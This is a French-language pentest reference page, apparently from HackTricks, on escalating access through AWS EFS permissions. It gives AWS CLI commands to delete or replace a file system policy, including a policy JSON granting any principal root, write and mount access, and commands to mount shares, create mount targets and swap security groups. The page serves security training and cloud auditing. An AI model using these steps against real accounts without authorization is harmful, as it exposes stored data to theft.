# AWS - EFS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## EFS

Plus **d'infos sur EFS** dans :

{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}

N'oubliez pas que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des politiques IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder.

### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`

Avec l'une de ces autorisations, un attaquant peut **changer la politique du système de fichiers** pour **vous donner accès** à celui-ci, ou simplement **le supprimer** afin que **l'accès par défaut** soit accordé.

Pour supprimer la politique :
```bash
aws efs delete-file-system-policy \
--file-system-id <value>
```
Pour le changer :
```json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`

Avec cette permission, un attaquant pourra **monter l'EFS**. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**.
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
```
Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il ait été monté et pour **accéder** à ce système de fichiers **en tant que root**.

**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.

### `elasticfilesystem:CreateMountTarget`

Si un attaquant se trouve dans un **sous-réseau** où **aucun point de montage** de l'EFS n'existe. Il pourrait simplement **en créer un dans son sous-réseau** avec ce privilège :
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.

### `elasticfilesystem:ModifyMountTargetSecurityGroups`

Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **changer cela en modifiant les groupes de sécurité sélectionnés** :
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.

{{#include ../../../banners/hacktricks-training.md}}
